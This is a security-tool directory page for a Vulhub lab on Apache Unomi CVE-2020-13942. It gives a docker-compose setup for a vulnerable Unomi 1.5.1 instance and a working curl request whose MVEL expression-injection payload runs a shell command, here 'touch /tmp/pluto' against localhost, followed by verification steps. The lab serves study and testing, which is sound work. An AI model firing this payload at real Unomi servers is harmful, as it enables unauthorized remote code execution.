Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-13942byVulHub — Step-by-step lab environment and exploit for Apache Unomi CVE-2020-13942, demonstrating MVEL expression language injection leading to remote code execution. | Kitploit
Tools/GitHubGitHub/corsisechero/cve-2020-13942byvulhub
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubcorsisechero/cve-2020-13942byvulhub

CVE-2020-13942byVulHub

Step-by-step lab environment and exploit for Apache Unomi CVE-2020-13942, demonstrating MVEL expression language injection leading to remote code execution.

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-13942byVulHub


Apache Unomi Expression Language Injection RCE (CVE-2020-13942)

Description

This vulnerability allows arbitrary command execution on systems running Apache Unomi version 1.5.1, by exploiting MVEL expression language injection.

Project Page

GitHub - Vulhub - Unomi CVE-2020-13942


Environment Configuration

Docker Compose file (docker-compose.yml)

root@kitploit:~
version: '2'
services:
  web:
    image: vulhub/unomi:1.5.1
    ports:
      - "9443:9443"
      - "8181:8181"
    environment:
      - UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
    depends_on:
      - elasticsearch
  elasticsearch:
    image: elasticsearch:7.9.3
    environment:
      - cluster.name=contextElasticSearch
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - bootstrap.memory_lock=true

Container Startup

Run the containers with the following command:

root@kitploit:~
docker compose up -d

Exploit Execution

Command to run from Kali

Send the following POST request using curl:

root@kitploit:~
curl -X POST http://localhost:8181/context.json \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Accept: */*" \
     -H "Accept-Language: en" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
     -H "Connection: close" \
     -H "Content-Type: application/json" \
     -d '{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}'

Exploit Verification

Access the container

Access the container to verify file creation:

root@kitploit:~
docker exec -it af7de05fc47e ls /tmp

Check the result

Verify the presence of the pluto file:

root@kitploit:~
hsperfdata_root  pluto

If the pluto file is present, it means the exploit succeeded.


Security Notes

This vulnerability allows arbitrary command execution. Use these tests only in controlled environments and for study or verification purposes. Exploiting vulnerabilities in unauthorized environments is illegal.

Download Tool